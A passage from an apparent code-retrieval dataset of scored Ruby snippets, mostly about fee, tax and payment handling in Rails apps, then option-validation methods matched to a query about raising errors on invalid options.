"score": "0.5576308",
"text": "def fees\n @fees ||= {\n \"insurance_fee\" => (commission * ASSURANCE_SHARE).round(0),\n \"assistance_fee\" => (ASSISTANCE_COST * rental.duration).round(0)\n }.tap { |fees| fees[\"drivy_fee\"] = commission - fees.values.inject(:+) }\n end",
"title": ""
},
{
"docid": "5423031fd2a90d806a93523f3527eeca",
"score": "0.55721384",
"text": "def document_fee\n 0\n end",
"title": ""
},
{
"docid": "2d1d68b4e6dc1905115e9e152261399d",
"score": "0.5565438",
"text": "def add_fees\n @proposal.fees.each do |bank_account, amounts_by_category|\n amounts_by_category.each do |category, amount|\n category_for_key = category&.downcase&.gsub(' ', '_') || 'none'\n run_task \"add_fees_#{bank_account}_#{category_for_key}\" do\n if transaction = add_fee_transaction(bank_account, amount, category)\n current_state[:transaction_id] = transaction['BankTransactionID']\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a16590f335160a376506c7efe3a4ecd0",
"score": "0.5564166",
"text": "def application_fee_without_tax\n application_fee * (1 - tax_rate / 100)\n end",
"title": ""
},
{
"docid": "ab3529670292819161c7a5b94b67d603",
"score": "0.55587614",
"text": "def create\n @purchase_order = PurchaseOrder.create_order(params, @company.id, @current_user, @financial_year.year.name)\n # @purchase_order.build_tax\n respond_to do |format|\n if @purchase_order.save\n VoucherSetting.next_purchase_order_write(@company)\n @purchase_order.update_attributes(:total_amount=>@purchase_order.amount)\n @purchase_order.register_user_action(request.remote_ip, 'created')\n format.html { redirect_to(@purchase_order, :notice => 'Purchase order was successfully created.') }\n format.xml { render :xml => @purchase_order, :status => :created, :location => @purchase_order }\n else\n @purchase_order.purchase_order_number = VoucherSetting.next_purchase_order_number(@company)\n @purchase_order.purchase_order_line_items.each do |line_item|\n (2-line_item.purchase_order_taxes.size).times{ line_item.purchase_order_taxes.build }\n end\n @voucher_setting = VoucherSetting.find_by_company_id_and_voucher_type(@company.id, 6)\n @from_accounts = TransactionType.fetch_from_accounts(@company.id,'purchases')\n @to_accounts = Product.get_purchase_products(@company.id)\n @tax_accounts = TransactionType.fetch_to_accounts(@company.id, 'tax')\n @projects = @company.projects.active\n @other_charge_accounts = Account.get_other_expense_on_purchase_accounts(@company)\n @vendor_account_heads = AccountHead.get_customer_and_vendor_account_heads(@company.id)\n format.html { render :action => \"new\" }\n format.xml { render :xml => @purchase_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e2dbb7d920714c2cd21ec562407db7ea",
"score": "0.5542267",
"text": "def new_euro_fund\n new_on(EuroFund)\n end",
"title": ""
},
{
"docid": "93eb3298b71f6c8fdca6d3adca776ad0",
"score": "0.552411",
"text": "def create_transaction\n category = FinanceTransactionCategory.find_by_name('Donation')\n transaction = category.finance_transactions.create(title: donor\\\n , description: description, amount: amount\\\n , transaction_date: transaction_date)\n update(finance_transaction_id: transaction.id)\n end",
"title": ""
},
{
"docid": "1c3815aa53b045aee94115a95d0d2fff",
"score": "0.55236405",
"text": "def getFeeObjName\r\n\t\t return \"mfiforce__fee__c\"\r\n\t\tend",
"title": ""
},
{
"docid": "aa8bc4c0919b1e13e5ffd4c5e68af677",
"score": "0.5522536",
"text": "def add_ppe\n update_basic_fee('PPE',quantity: 800, amount: 200)\n end",
"title": ""
},
{
"docid": "ba3e31cc34bd3adfd204ae89965b23c2",
"score": "0.5509954",
"text": "def create_bepaid_bill\n # Don't touch real web services during of test database initialization\n return if Rails.env.test?\n\n user = self\n\n bp = BePaid::BePaid.new Setting['bePaid_baseURL'], Setting['bePaid_ID'], Setting['bePaid_secret']\n\n amount = user.monthly_payment_amount\n\n #amount is (amoint in BYN)*100\n bill = {\n request: {\n amount: (amount * 100).to_i,\n currency: 'BYN',\n description: 'Членский взнос',\n email: 'jekhor@gmail.com',\n notification_url: 'https://hackerspace.by/admin/erip_transactions/bepaid_notify',\n ip: '127.0.0.1',\n order_id: '4444',\n customer: {\n first_name: 'Cool',\n last_name: 'Hacker',\n },\n payment_method: {\n type: 'erip',\n account_number: 444,\n permanent: 'true',\n editable_amount: 'true',\n service_no: Setting['bePaid_serviceNo'],\n }\n }\n }\n req = bill[:request]\n req[:email] = user.email\n req[:order_id] = user.id\n req[:customer][:first_name] = user.first_name\n req[:customer][:last_name] = user.last_name\n req[:payment_method][:account_number] = user.id\n\n begin\n res = bp.post_bill bill\n logger.debug JSON.pretty_generate res\n rescue => e\n logger.error e.message\n logger.error e.http_body if e.respond_to? :http_body\n user.errors.add :base, \"Не удалось создать счёт в bePaid, проверьте лог\"\n end\n end",
"title": ""
},
{
"docid": "1322e53f2a861c3f984ba914cd9b90ce",
"score": "0.55048054",
"text": "def create\n @taxe_value = Taxe::Value.new(params[:taxe_value])\n\n respond_to do |format|\n if @taxe_value.save\n format.html { redirect_to(@taxe_value, :notice => 'Value was successfully created.') }\n format.xml { render :xml => @taxe_value, :status => :created, :location => @taxe_value }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @taxe_value.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d3bf68bbde83f966da0b3a29ff4851b",
"score": "0.5498282",
"text": "def calc_t1(price, tip, tax)\n tax_amount = price * tax\n tip_amount = price * tip\n price + tip_amount + tax_amount\nend",
"title": ""
},
{
"docid": "e998e2ef0a228f02214b0e568fd816f6",
"score": "0.54946864",
"text": "def fee\n\tparams['mc_fee']\n end",
"title": ""
},
{
"docid": "5654b76c6b95dbf554aa2b3042243247",
"score": "0.548796",
"text": "def final_bill\n total + tax + @tip_amount\n end",
"title": ""
},
{
"docid": "25c82820af437c117f6ecc7afbcca7ea",
"score": "0.548675",
"text": "def fees_submission_save\n @target_action='fees_submission_student'\n @target_controller='finance'\n @student = Student.find(params[:student])\n @date = @fee_collection = FinanceFeeCollection.find(params[:date])\n @financefee = @date.fee_transactions(@student.id)\n @due_date = @fee_collection.due_date\n @fee_category = FinanceFeeCategory.find(@fee_collection.fee_category_id, :conditions => [\"is_deleted IS NOT NULL\"])\n particular_and_discount_details\n total_fees = @financefee.balance.to_f+FedenaPrecision.set_and_modify_precision(params[:special_fine]).to_f\n unless params[:fine].nil?\n total_fees += FedenaPrecision.set_and_modify_precision(params[:fine]).to_f\n end\n @transaction_date= params[:transaction_date].present? ? Date.parse(params[:transaction_date]) : Date.today_with_timezone\n fine_waiver_value = params[:fine_waiver_val].present? ? params[:fine_waiver_val] : @financefee.is_fine_waiver? ? true :false\n financial_year_check\n if @financial_year_enabled\n if request.post?\n unless params[:fees][:fees_paid].to_f <= 0\n unless params[:fees][:payment_mode].blank?\n unless FedenaPrecision.set_and_modify_precision(params[:fees][:fees_paid]).to_f > FedenaPrecision.set_and_modify_precision(total_fees).to_f\n transaction = FinanceTransaction.new\n ActiveRecord::Base.transaction do\n # begin\n (@financefee.balance.to_f > params[:fees][:fees_paid].to_f) ? transaction.title = \"#{t('receipt_no')}. (#{t('partial')}) F#{@financefee.id}\" : transaction.title = \"#{t('receipt_no')}. F#{@financefee.id}\"\n transaction.category = FinanceTransactionCategory.find_by_name(\"Fee\")\n transaction.payee = @student\n transaction.finance = @financefee\n transaction.fine_included = true unless params[:fine].nil?\n transaction.amount = params[:fees][:fees_paid].to_f\n transaction.fine_amount = params[:fine].to_f\n transaction.transaction_type = 'SINGLE'\n if params[:special_fine] and total_fees==params[:fees][:fees_paid].to_f\n # transaction.fine_amount = params[:fine].to_f+params[:special_fine].to_f\n # transaction.fine_included = true\n @fine_amount=0\n end\n transaction.transaction_date = params[:transaction_date]\n transaction.payment_mode = params[:fees][:payment_mode]\n transaction.reference_no = params[:fees][:reference_no]\n transaction.cheque_date = params[:fees][:cheque_date] if params[:fees][:cheque_date].present?\n transaction.bank_name = params[:fees][:bank_name] if params[:fees][:bank_name].present?\n transaction.payment_note = params[:fees][:payment_note]\n transaction.fine_waiver = fine_waiver_value\n transaction.wallet_amount_applied = params[:fees][:wallet_amount_applied] if params[:fees][:wallet_amount_applied].present?\n transaction.wallet_amount = params[:fees][:wallet_amount] if params[:fees][:wallet_amount].present?\n transaction.safely_create\n # transaction.save\n if transaction.errors.present?\n flash[:notice] = \"#{t('fee_payment_failed')}\"\n transaction.errors.full_messages.each do |err_msg|\n @financefee.errors.add_to_base(err_msg)\n end\n raise ActiveRecord::Rollback\n else\n flash[:warning] = \"#{t('finance.flash14')}. <a href ='#' onclick='show_print_dialog(#{transaction.id})'>#{t('print_receipt')}</a>\"\n end\n # rescue Exception => e\n # puts e.inspect\n # raise ActiveRecord::Rollback\n # end\n end\n @financefee.reload\n # is_paid = @financefee.balance==0 ? true : false\n # @financefee.update_attributes(:is_paid => is_paid)\n # flash[:warning] = \"#{t('flash14')}. <a href ='http://#{request.host_with_port}/finance/generate_fee_receipt_pdf?transaction_id=#{transaction.id}' target='_blank'>#{t('print_receipt')}</a>\"\n\n flash[:notice]=nil\n else\n flash[:warning]=nil\n flash[:notice] = \"#{t('flash19')}\"\n end\n else\n flash[:warning]=nil\n flash[:notice] = \"#{t('select_one_payment_mode')}\"\n end\n else\n flash[:warning]=nil\n flash[:notice] = \"#{t('flash23')}\"\n end\n end\n end\n @paid_fees = @financefee.finance_transactions.all(:include => :transaction_ledger)\n bal=(@total_payable-@total_discount).to_f\n days=(@transaction_date - @date.due_date.to_date).to_i\n auto_fine=@date.fine\n if days > 0 and auto_fine and !@financefee.is_fine_waiver\n @fine_rule=auto_fine.fine_rules.find(:last, :conditions => [\"fine_days <= '#{days}' and created_at <= '#{@date.created_at}'\"], :order => 'fine_days ASC')\n if Configuration.is_fine_settings_enabled? && @financefee.balance <= 0 && @financefee.is_paid == false && @financefee.balance_fine.present?\n @fine_amount = @financefee.balance_fine\n else\n @fine_amount=@fine_rule.is_amount ? @fine_rule.fine_amount : (bal*@fine_rule.fine_amount)/100 if @fine_rule and @financefee.is_paid==false\n if @fine_rule and @financefee.balance==0\n @fine_amount=@fine_amount.to_f-@financefee.paid_auto_fine\n end\n end\n end\n\n @fine_amount=0 if @financefee.is_paid\n @transaction_date = Date.today_with_timezone if request.post?\n render :update do |page|\n page.replace_html \"fee_submission\", :partial => \"finance/fees_payment/fees_submission_form\"\n end\n end",
"title": ""
},
{
"docid": "2bf5e6755776fea2cb5c5aae311d34d3",
"score": "0.54831076",
"text": "def build_for_creation(address, path, script, xpubs = [])\n build_inputs([address])\n total, fee = build_fee(:create)\n output_amount = total - fee.to_i\n create(inputs: @inputs,\n path: path,\n address: address,\n output_amount: output_amount,\n script: script,\n xpubs: xpubs)\n end",
"title": ""
},
{
"docid": "19dc3812f5dfd1bb372c2ee0353b933e",
"score": "0.5479272",
"text": "def create\n @tax_p = TaxP.new(params[:tax_p])\n @tax_p.tax_paid_and_refund_id = @tax_paid_and_refund.id\n\n respond_to do |format|\n if @tax_p.save\n flash[:notice] = 'TaxP was successfully created.'\n format.html { redirect_to(tax_ps_url) }\n # format.html { redirect_to(@tax_p) }\n # format.xml { render :xml => @tax_p, :status => :created, :location => @tax_p }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tax_p.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ad1c1b26e2cf6b2ecdfe497f778f90c",
"score": "0.54738855",
"text": "def create\n Rails.logger.debug \"Creating a FAX\"\n @fax_job = FaxJob.new(fax_job_params)\n\n respond_to do |format|\n if @fax_job.save\n\t@fax_job.send_fax\n format.html { redirect_to @fax_job, notice: 'Fax job was successfully created.' }\n format.json { render :show, status: :created, location: @fax_job }\n else\n format.html { render :new }\n format.json { render json: @fax_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "251950548a63a86dde7808910326fb91",
"score": "0.54734254",
"text": "def create\n amount = params[:admin_cost][:amount]\n label = params[:admin_cost][:label]\n description = params[:admin_cost][:description]\n account_id = params[:admin_cost][:account_id]\n percent = nil\n flat_fee = nil\n\n if (amount)\n if (amount.include?(\"%\"))\n percent = amount.delete('$ , %')\n else\n flat_fee = amount.delete('$ , %')\n end\n end\n\n @admin_cost = AdminCost.new(label: label, percent: percent, flat_fee: flat_fee, description: description, account_id: account_id)\n\n noticeText=\"\"\n if (@admin_cost.save)\n noticeText = @admin_cost.label + \" was successfully added.\"\n else\n noticeText = @admin_cost.errors\n end\n redirect_back(fallback_location: root_path,notice: noticeText)\n end",
"title": ""
},
{
"docid": "5dd60be4d8582036da0023dd11030292",
"score": "0.5472995",
"text": "def tax\n price.to_f * 0.09\n end",
"title": ""
},
{
"docid": "cae4bfd0255e2d5f1989db2e7d982e82",
"score": "0.5464726",
"text": "def create\n @taxi = current_user.taxis.new(params[:taxi])\n\n respond_to do |format|\n if @taxi.save\n format.html { redirect_to @taxi, notice: 'Taxi was successfully created.' }\n format.json { render json: @taxi, status: :created, location: @taxi }\n else\n format.html { render action: \"new\" }\n format.json { render json: @taxi.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6cae7466e82f8c34e2105f8eb3bf1769",
"score": "0.546141",
"text": "def create\n\n fees = fees(params[:call][:origin], params[:call][:destiny])\n puts fees\n puts fees\n puts fees\n valuewithplan = valuewithplan(fees, params[:call][:minuts].to_i, params[:call][:plan_id].to_i)\n valuewithoutplan = valuewithoutplan(fees, params[:call][:minuts].to_i)\n\n @call = Call.new(\n origin: params[:call][:origin],\n destiny: params[:call][:destiny],\n minuts: params[:call][:minuts],\n valuewithplan: valuewithplan,\n valuewithoutplan: valuewithoutplan,\n plan_id: params[:call][:plan_id]\n\n )\n\n respond_to do |format|\n if @call.save\n format.html { redirect_to @call, notice: \"Call was successfully created.\" }\n format.json { render :show, status: :created, location: @call }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "58c6dbf5df56e7ab2e2482968e22ddb2",
"score": "0.54597384",
"text": "def update_fee\n\t\tmoney_info = money_info()\n\t\t@fee = money_info['Trade_Fee'] / 100.0\n\tend",
"title": ""
},
{
"docid": "f2e864c7eb23cd36367b1560272bd8a8",
"score": "0.5444576",
"text": "def create\n @fee_transaction = FeeTransaction.new(fee_transaction_params)\n authorize @fee_transaction \n\n respond_to do |format|\n if @fee_transaction.save\n format.html { redirect_to @fee_transaction, notice: 'Fee transaction was successfully created.' }\n format.json { render :show, status: :created, location: @fee_transaction }\n else\n format.html { render :new }\n format.json { render json: @fee_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "83bfb3becadcbe0be5dc87e117558a91",
"score": "0.54422134",
"text": "def pay_entry_fee(entry_fee)\n # if the guest has enough cash for entry_fee\n if @cash >= entry_fee\n # decrement guest cash by entry_fee\n @cash -= entry_fee\n # update guest entry_paid to true\n update_entry_paid()\n end\n end",
"title": ""
},
{
"docid": "77c68e26dfd2e9f647bb0596749de234",
"score": "0.54420286",
"text": "def add(organisation_id, name, type, display_rate, effective_rate, options = {})\n body = options.has_key?(:body) ? options[:body] : {}\n body[:organisation_id] = organisation_id\n body[:name] = name\n body[:type] = type\n body[:display_rate] = display_rate\n body[:effective_rate] = effective_rate\n\n response = @client.post \"/core.tax/add\", body, options\n\n return response\n end",
"title": ""
},
{
"docid": "39f0ce4e1e281cec3edac7bada0745bf",
"score": "0.54382634",
"text": "def create\n @tax_type = TaxType.new(params[:tax_type])\n\n respond_to do |format|\n if @tax_type.save\n format.html { redirect_to @tax_type, notice: 'Tax type was successfully created.' }\n format.json { render json: @tax_type, status: :created, location: @tax_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tax_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9e511551dbb9bf1227d2018536377f4",
"score": "0.5436358",
"text": "def pay_taxes(keygap)\n raise \"The user #{@user.login} is not registered yet\" unless @item.exists?\n raise \"The account #{@user.login} is not confirmed yet\" unless @user.confirmed?\n if @user.fake?\n @log.info('It is a fake user, won\\'t pay taxes')\n return\n end\n start = Time.now\n id = @item.id\n unless @wallets.acq(id, &:exists?)\n return if ENV['RACK_ENV'] == 'test'\n raise 'There is no wallet file after PULL, can\\'t pay taxes'\n end\n Tempfile.open do |f|\n File.write(f, @item.key(keygap))\n @log.info(\"Paying taxes for #{id}...\")\n Zold::Taxes.new(wallets: @wallets, remotes: @remotes, log: @log).run(\n [\n 'taxes',\n 'pay',\n \"--network=#{@network}\",\n '--ignore-score-weakness',\n '--ignore-nodes-absence',\n '--ignore-score-size',\n '--private-key=' + f.path,\n id.to_s\n ]\n )\n end\n @log.info(\"Taxes paid for #{id} in #{Zold::Age.new(start)}\")\n end",
"title": ""
},
{
"docid": "536e8e6430b3cdad5bf1b66daa7d140b",
"score": "0.5435923",
"text": "def calculate(t, fraud, type)\r\n#\t\tpp \"1\"\r\n\t\treturn 0.0 if type == 'billable' && self.bid_fee #if this fee is a bid fee and we are not looking at the bid fees then return 0, else continue on\r\n\t#\tpp \"2\"\r\n \t\r\n \tfee = self.fixed if self.price_type == 'F'\r\n \r\n fee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) if self.price_type == 'V' #calculate the fee\r\n \r\n return fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\r\n\t\t#if we get here we know we are dealing with a variable fee\r\n\t\t#puts (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min)\r\n\t#\tfee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) #calculate the fee\r\n\t#\tpp fee\r\n\t#\tpp \"3\"\r\n\t#\treturn fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\t\r\n\t\t#otherwise we need to determine the sign and threshold before we can return\r\n\t\tcase self.sign\r\n\t\t\twhen '>'\r\n\t\t\t #pp \">\"\r\n\t\t\t\treturn fee if t.amount > self.threshold\r\n\t\t\twhen '>='\r\n\t\t\t #pp \">=\"\r\n\t\t\t\treturn fee if t.amount >= self.threshold\r\n\t\t\twhen '<'\r\n\t\t\t #pp \"<\"\r\n\t\t\t\treturn fee if t.amount < self.threshold\r\n\t\t\twhen '<='\r\n\t\t\t #pp \"<=\"\r\n\t\t\t\treturn fee if t.amount <= self.threshold\r\n\t\t\telse\r\n\t\t\t #pp \"4\"\r\n\t\t\t\treturn 0.0\r\n\t\tend\r\n\t\t\r\n\t\t#if we get here then we have no idea what to do so just return 0\r\n\t\treturn 0.0\r\n\tend",
"title": ""
},
{
"docid": "e0ec57755277d4eeabb3397537326b7f",
"score": "0.54209095",
"text": "def add_tax_as_line_item\n raise unless @fields['x_tax']\n add_line_item :name => 'Total Tax', :quantity => 1, :unit_price => @fields['x_tax'], :tax => 0, :line_title => 'Tax'\n end",
"title": ""
},
{
"docid": "001572129191d7cb4e72c21ae79b488d",
"score": "0.54131824",
"text": "def create\n @taxinomy = Taxinomy.new(params[:taxinomy])\n\n respond_to do |format|\n if @taxinomy.save\n format.html { redirect_to @taxinomy, notice: 'Taxinomy was successfully created.' }\n format.json { render json: @taxinomy, status: :created, location: @taxinomy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @taxinomy.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9c02d2bca71286c3aba80b249f80f858",
"score": "0.54095954",
"text": "def create\n # Вызвать такси\n @order_number = Taxirequest.call_a_taxi(params[:taxirequest])\n # Разместить заявку на такси в таблице taxirequests\n @taxirequest = Taxirequest.add_request(params[:taxirequest], session[:employee_id], @order_number)\n #@taxirequest = Taxirequest.new(params[:taxirequest])\n\n respond_to do |format|\n if @taxirequest.save\n format.html { redirect_to @taxirequest, notice: 'Taxirequest was successfully created.'+@response }\n format.json { render json: @taxirequest, status: :created, location: @taxirequest }\n else\n format.html { render action: \"new\" }\n format.json { render json: taxirequest.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"title": ""
},
{
"docid": "6207ef971c2a94a4c8ebcd5b55225a91",
"score": "0.54054445",
"text": "def order_fee extra_fee=false, bitcoin=false\n fee = APPLICATION_FEE\n fee += FAIL_FEE if extra_fee\n number = bitcoin ? bitcoin_amount : price\n ((number.to_f * fee) * 100.0).to_i\n end",
"title": ""
},
{
"docid": "8f6d1026ac80d0b794b029ca13dbc251",
"score": "0.5396886",
"text": "def tenant_fee_params\n params.require(:tenant_fee).permit(:tenant_id, :amount, :description, :recurring, :account_id)\n end",
"title": ""
},
{
"docid": "c17f870e27a4024c2ed442c7b176d050",
"score": "0.53827614",
"text": "def create\n @payment = Payment.new(payment_params)\n @user = User.find(params[:user_id])\n @payment.proofreader_id = current_user.id\n @payment.request = current_user.balance \n \n \n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n token = params[:stripeToken]\n\n recipient = Stripe::Recipient.create(\n :name => @payment.legalname,\n :type => \"individual\",\n :bank_account => token\n )\n current_user.recipient = recipient.id\n current_user.save\n \n\n transfer = Stripe::Transfer.create(\n :amount => (@payment.request * 97).floor,\n :currency => \"usd\",\n :recipient => current_user.recipient\n )\n\n current_user.balance = 0\n current_user.save\n\n respond_to do |format|\n if @payment.save\n format.html { redirect_to dashboard_path, notice: 'Payment was successfully made. You should see your money in your account within 7 business days.' }\n format.json { render action: 'show', status: :created, location: @payment }\n else\n format.html { render action: 'new' }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a716c630ae5fc6d9a64edefc04a973d",
"score": "0.5381371",
"text": "def create\n @fee_structure = FeeStructure.new(fee_structure_params)\n\n respond_to do |format|\n if @fee_structure.save\n format.html { redirect_to fee_structures_path, notice: 'Fee structure was successfully created.' }\n format.json { render :show, status: :created, location: @fee_structure }\n else\n format.html { render :new }\n format.json { render json: @fee_structure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c9d79a510cd5272e2a187da1f848c872",
"score": "0.538023",
"text": "def fees(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/fees\", options).body)\n fees = response.key?('fees') ? response['fees'] : []\n fees.map { |attributes| Promisepay::Fee.new(@client, attributes) }\n end",
"title": ""
},
{
"docid": "c9d79a510cd5272e2a187da1f848c872",
"score": "0.538023",
"text": "def fees(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/fees\", options).body)\n fees = response.key?('fees') ? response['fees'] : []\n fees.map { |attributes| Promisepay::Fee.new(@client, attributes) }\n end",
"title": ""
}
] |
7c3fcb7603750f24598592adf760670b
|
raises an exception if the given options are not valid
|
[
{
"docid": "99e5d1b2826c7820e6c785fe15461fad",
"score": "0.0",
"text": "def validate(options = {})\n options = normalize_options(options)\n self.sql(options[:table_class])\n raise \"No column defined.\" if column.nil? or column.strip == \"\"\n if options[:table_class]\n\traise \"Condition not appliable to #{options.inspect}.\" unless applyable(options)\n end\n end",
"title": ""
}
] |
[
{
"docid": "6be21f7b6e88b1c4b531a8e941daa265",
"score": "0.7595731",
"text": "def unrecognized_option(err); end",
"title": ""
},
{
"docid": "d27a82160b27f952feae646a4aadcce8",
"score": "0.74968255",
"text": "def validate_options!(options)\n return if options[:help] || options[:version]\n validate_date(options)\n raise MissingArgument, \"--repository or --config\" unless\n options[:repository] || options[:config]\n end",
"title": ""
},
{
"docid": "eac756dcac2410c479d20e32b1453b72",
"score": "0.7402384",
"text": "def validate_options(options)\n options.assert_valid_keys(:visibility, :null, :enum, :limit, :json)\n\n case options[:visibility]\n when nil then nil\n when :public then nil\n when :private then nil\n else raise ArgumentError, \"Invalid value for :visibility: #{options[:visibility].inspect}\"\n end\n\n case options[:json]\n when nil, String, Symbol then nil\n else raise ArgumentError, \"Invalid value for :json: #{options[:json].inspect}\"\n end\n\n unless [ nil, true, false ].include?(options[:null])\n raise ArgumentError, \"Invalid value for :null: #{options[:null].inspect}\"\n end\n end",
"title": ""
},
{
"docid": "3987594778f2d46629fe1d7243a3d818",
"score": "0.73736143",
"text": "def validate_options!(_options)\n raise(NotImplemetedError, \"subclass responsability\")\n end",
"title": ""
},
{
"docid": "d91b40ab193a3e80488caacece4ab389",
"score": "0.7334835",
"text": "def validate_options!(options)\n unless @config.environments.include?(options[:environment].downcase.to_sym)\n say \"Invalid environment. Run `#{$0} environments` for a list of available environments.\", :red\n abort\n end\n\n unless @config.browsers.include?(options[:browser].downcase.to_sym)\n say \"Invalid browser. Run `#{$0} browsers` for a list of available browsers.\", :red\n abort\n end\n end",
"title": ""
},
{
"docid": "81276b31355e5c8d4123f597978428f6",
"score": "0.731923",
"text": "def validate_options(options)\n raise 'Invalid output directory.' unless options.config.respond_to?(:output_dir)\n raise 'Invalid template.' unless options.config.respond_to?(:template)\n raise 'Invalid template directory.' unless options.config.respond_to?(:template_dir)\n raise 'Invalid author.' unless options.config.respond_to?(:author)\n raise 'Invalid affiliation.' unless options.config.respond_to?(:affiliation)\n raise 'Invalid department.' unless options.config.respond_to?(:department)\n raise 'Invalid institution.' unless options.config.respond_to?(:institution)\n raise 'Invalid email.' unless options.config.respond_to?(:email)\n raise 'Invalid project name.' unless options.config.respond_to?(:project_name)\n raise 'Invalid project title.' unless options.config.respond_to?(:project_title)\n end",
"title": ""
},
{
"docid": "858dc85768f0646f549d5cc2e2547ac3",
"score": "0.7237327",
"text": "def validate_options\n required_keys = %w(endpoint user password\n container_name agent ntp blobstore)\n missing_keys = []\n required_keys.each do |key|\n unless @options.has_key?(key)\n missing_keys << key\n end\n end\n message = \"Missing configuration parameters: #{missing_keys}\"\n raise ArgumentError, message unless missing_keys.empty?\n end",
"title": ""
},
{
"docid": "515c24d34a3bfd2233590b000ac43b51",
"score": "0.71914244",
"text": "def validate_options(opts)\n unless opts.branch_regex || opts.tag_regex\n # If git branches/tags are given, the source path might exist in the branch/tag, thus only check this\n # for non-git executions\n raise OptionParser::InvalidArgument, \"Could not find source path #{opts.srcdir}\" unless opts.srcdir.exist?\n end\n\n if opts.web_path\n raise OptionParser::InvalidArgument, \"The '-w/--web-path' flag is DEPRECATED. Use the --server-css-path and --server--search-path flags instead.\"\n end\n\n if opts.server_css && (opts.resource_dir || opts.style_name)\n raise OptionParser::InvalidArgument, \"The '-w' flag can not be used with either of the '-r' or '-s' flags\"\n end\n\n if opts.server_css && opts.format != \"html\"\n raise OptionParser::InvalidArgument, \"The '-w' flag can only be used for the 'html' format flags\"\n end\n\n if opts.style_name && opts.resource_dir.nil?\n raise OptionParser::InvalidArgument, \"The '-s' flag requires the use of the '-r' flag as well.\"\n end\n\n # if opts.resource_dir.nil? ^ opts.style_name.nil?\n # raise OptionParser::InvalidArgument, \"Either both '-s' and '-r' flags must be given or none of them.\"\n # end\n\n if opts.resource_dir && !opts.resource_dir.exist?\n raise OptionParser::InvalidArgument, \"Could not find resource path #{opts.resource_dir}\"\n end\n\n if opts.make_searchable && opts.format != \"html\"\n raise OptionParser::InvalidArgument, \"Error: The --make-searchable option \" \\\n \"is only supported for html rendering.\"\n end\n\n if opts.search_action_path && !opts.make_searchable\n raise OptionParser::InvalidArgument, \"Error: The --server-search-path \" \\\n \"flag is only supported in combination with the --make-searchable (-m) flag.\"\n end\n end",
"title": ""
},
{
"docid": "a69b52d4129be04bd4e81358fe0ae16c",
"score": "0.7171478",
"text": "def assert_valid_options\n valid_options = {\n :skip_gemfile => false,\n :skip_bundle => false,\n :skip_git => false,\n :skip_test_unit => false,\n :edge => false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"title": ""
},
{
"docid": "c0ed456a1eab5932737335059a2b7c16",
"score": "0.71667594",
"text": "def check_options(options, *supported)\n unsupported = options.to_hash.keys - supported.flatten\n raise ArgumentError, \"No such option: #{unsupported.join(' ')}\" unless unsupported.empty?\n end",
"title": ""
},
{
"docid": "00340ec3fb69eb727ad9937764f1a85d",
"score": "0.7165535",
"text": "def validate(options); end",
"title": ""
},
{
"docid": "06ba33bc1d7a74139e7726c7e71f96aa",
"score": "0.7156443",
"text": "def invalid_option\n\t\t\t\talert_menu \"Invalid option!\"\n\t\t\tend",
"title": ""
},
{
"docid": "ccda5b5fef58fe73fbeecde5fd7e9115",
"score": "0.71440244",
"text": "def validate_options(options, *known_options)\n\toptions ||= Hash.new\n\topt, unknown = Kernel.filter_options(options.to_hash, *known_options)\n\tunless unknown.empty?\n\t not_valid = unknown.keys.map { |m| \"'#{m}'\" }.join(\" \")\n\t raise ArgumentError, \"unknown options #{not_valid}\", caller(1)\n\tend\n\n\topt\n end",
"title": ""
},
{
"docid": "4481578f9f9e82e901a6e433bddcabc9",
"score": "0.7127722",
"text": "def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_git: false,\n skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"title": ""
},
{
"docid": "cb95bdc759af39954dd107f0cb0c6650",
"score": "0.7071406",
"text": "def validate_options(api, options = {})\n options = options.symbolize_keys\n version_args = ARGS[@version.to_sym]\n \n if !version_args\n raise ArgumentError.new(\"Invalid version API call: #{@version}, #{api}\")\n elsif version_args.has_key?(api) && !Set.new(options.keys).subset?(version_args[api])\n raise ArgumentError.new(\"Valid options for #{api} are: #{version_args[api].to_a.join(', ')}, provided: #{options.keys.join(', ')}\")\n end\n end",
"title": ""
},
{
"docid": "71ecace9dde1e82de426fa0e562acd69",
"score": "0.70639944",
